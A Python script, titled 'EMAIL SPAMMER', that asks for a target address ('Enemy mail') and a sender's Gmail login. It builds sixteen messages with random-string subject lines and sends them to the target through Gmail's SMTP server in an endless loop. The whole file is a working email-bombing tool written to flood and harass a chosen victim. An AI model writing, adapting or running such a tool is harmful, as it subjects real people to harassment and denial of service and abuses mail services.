import string
import random
import smtplib
print("""



███████╗███╗░░░███╗░█████╗░██╗██╗░░░░░  ░██████╗██████╗░░█████╗░███╗░░░███╗███╗░░░███╗███████╗██████╗░
██╔════╝████╗░████║██╔══██╗██║██║░░░░░  ██╔════╝██╔══██╗██╔══██╗████╗░████║████╗░████║██╔════╝██╔══██╗
█████╗░░██╔████╔██║███████║██║██║░░░░░  ╚█████╗░██████╔╝███████║██╔████╔██║██╔████╔██║█████╗░░██████╔╝
██╔══╝░░██║╚██╔╝██║██╔══██║██║██║░░░░░  ░╚═══██╗██╔═══╝░██╔══██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝░░██╔══██╗
███████╗██║░╚═╝░██║██║░░██║██║███████╗  ██████╔╝██║░░░░░██║░░██║██║░╚═╝░██║██║░╚═╝░██║███████╗██║░░██║
╚══════╝╚═╝░░░░░╚═╝╚═╝░░╚═╝╚═╝╚══════╝  ╚═════╝░╚═╝░░░░░╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝

██████╗░██╗░░░██╗  ░█████╗░███╗░░██╗██╗██╗░░██╗░█████╗░
██╔══██╗╚██╗░██╔╝  ██╔══██╗████╗░██║██║██║░██╔╝██╔══██╗
██████╦╝░╚████╔╝░  ███████║██╔██╗██║██║█████═╝░██║░░██║
██╔══██╗░░╚██╔╝░░  ██╔══██║██║╚████║██║██╔═██╗░██║░░██║
██████╦╝░░░██║░░░  ██║░░██║██║░╚███║██║██║░╚██╗╚█████╔╝
╚═════╝░░░░╚═╝░░░  ╚═╝░░╚═╝╚═╝░░╚══╝╚═╝╚═╝░░╚═╝░╚════╝░

""")

# Lib

# Pre-Sending
Object = input("Subject: ")
# lib

# Inzio

input_password = int(input('Caratteri? MAX 94: '))

low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password = random.sample(all, input_password)
temp = random.sample(all, input_password)

password = "".join(temp)

print(password)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password1 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password1 = "".join(temp)

print(password1)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password2 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password2 = "".join(temp)

print(password2)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password3 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password3 = "".join(temp)

print(password3)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password4 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password4 = "".join(temp)

print(password4)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password5 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password5 = "".join(temp)

print(password5)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password6 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password6 = "".join(temp)

print(password6)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password7 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password7 = "".join(temp)

print(password7)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password8 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password8 = "".join(temp)

print(password8)

low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password9 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password9 = "".join(temp)

low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password10 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password10 = "".join(temp)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password11 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password11 = "".join(temp)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password11 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password11 = "".join(temp)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password12 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password12 = "".join(temp)

print(password12)
low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password13 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password13 = "".join(temp)

low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password14 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password14 = "".join(temp)

low = string.ascii_lowercase
up = string.ascii_uppercase
num = string.digits
sim = string.punctuation

all = low + up + num + sim

password15 = random.sample(all, input_password)
temp = random.sample(all, input_password)

password15 = "".join(temp)

print(password15)
# -----
# password 1 2 3 4

Enemy = input("Enemy mail: ")
lmail = input("Email sender: ")
lpass = input("Password: ")
i = "\n\n"
pre = "Subject: "
Final1 = pre+password+i + Object
Final2 = pre+password1+i + Object
Final3 = pre+password2+i + Object
Final4 = pre+password3+i + Object
Final5 = pre+password4+i + Object
Final6 = pre+password5+i + Object
Final7 = pre+password6+i + Object
Final8 = pre+password7+i + Object
Final9 = pre+password8+i + Object
Final10 = pre+password9+i + Object
Final11 = pre+password10+i + Object
Final12 = pre+password11+i + Object
Final13 = pre+password12+i + Object
Final14 = pre+password13+i + Object
Final15 = pre+password14+i + Object
Final16 = pre+password15+i + Object

# Connect
email = smtplib.SMTP("smtp.gmail.com", 587)
print("Connect to smtp.gmail.com:587...")
email.ehlo()
print("Verify connect...")
email.starttls()
print("Secure email...")
email.login(lmail, lpass)
print("Account sender login...")
print("""



░██████╗████████╗░█████╗░██████╗░████████╗  ░██████╗██████╗░░█████╗░███╗░░░███╗███╗░░░███╗██╗███╗░░██╗░██████╗░
██╔════╝╚══██╔══╝██╔══██╗██╔══██╗╚══██╔══╝  ██╔════╝██╔══██╗██╔══██╗████╗░████║████╗░████║██║████╗░██║██╔════╝░
╚█████╗░░░░██║░░░███████║██████╔╝░░░██║░░░  ╚█████╗░██████╔╝███████║██╔████╔██║██╔████╔██║██║██╔██╗██║██║░░██╗░
░╚═══██╗░░░██║░░░██╔══██║██╔══██╗░░░██║░░░  ░╚═══██╗██╔═══╝░██╔══██║██║╚██╔╝██║██║╚██╔╝██║██║██║╚████║██║░░╚██╗
██████╔╝░░░██║░░░██║░░██║██║░░██║░░░██║░░░  ██████╔╝██║░░░░░██║░░██║██║░╚═╝░██║██║░╚═╝░██║██║██║░╚███║╚██████╔╝
╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░  ╚═════╝░╚═╝░░░░░╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝░░░░░╚═╝╚═╝╚═╝░░╚══╝░╚═════╝░

""")
while 100 == 100:
    email.sendmail(lmail, Enemy, Final1)
    print("Send")
    email.sendmail(lmail, Enemy, Final2)
    print("Send")
    email.sendmail(lmail, Enemy, Final3)
    print("Send")
    email.sendmail(lmail, Enemy, Final4)
    print("Send")
    email.sendmail(lmail, Enemy, Final5)
    print("Send")
    email.sendmail(lmail, Enemy, Final6)
    print("Send")
    email.sendmail(lmail, Enemy, Final7)
    print("Send")
    email.sendmail(lmail, Enemy, Final8)
    print("Send")
    email.sendmail(lmail, Enemy, Final9)
    print("Send")
    email.sendmail(lmail, Enemy, Final10)
    print("Send")
    email.sendmail(lmail, Enemy, Final11)
    print("Send")
    email.sendmail(lmail, Enemy, Final12)
    print("Send")
    email.sendmail(lmail, Enemy, Final13)
    print("Send")
    email.sendmail(lmail, Enemy, Final14)
    print("Send")
    email.sendmail(lmail, Enemy, Final15)
    print("Send")
    email.sendmail(lmail, Enemy, Final16)
    print("Send")
    email = smtplib.SMTP("smtp.gmail.com", 587)
    email.ehlo()
    email.starttls()
    email.login(lmail, lpass)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password = "".join(temp)

    print(password)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password1 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password1 = "".join(temp)

    print(password1)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password2 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password2 = "".join(temp)

    print(password2)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password3 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password3 = "".join(temp)

    print(password3)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password4 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password4 = "".join(temp)

    print(password4)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password5 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password5 = "".join(temp)

    print(password5)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password6 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password6 = "".join(temp)

    print(password6)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password7 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password7 = "".join(temp)

    print(password7)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password8 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password8 = "".join(temp)

    print(password8)

    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password9 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password9 = "".join(temp)

    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password10 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password10 = "".join(temp)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password11 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password11 = "".join(temp)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password11 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password11 = "".join(temp)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password12 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password12 = "".join(temp)

    print(password12)
    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password13 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password13 = "".join(temp)

    low = string.ascii_lowercase 
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password14 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password14 = "".join(temp)

    low = string.ascii_lowercase
    up = string.ascii_uppercase
    num = string.digits
    sim = string.punctuation

    all = low + up + num + sim

    password15 = random.sample(all, input_password)
    temp = random.sample(all, input_password)

    password15 = "".join(temp)

    print(password15)
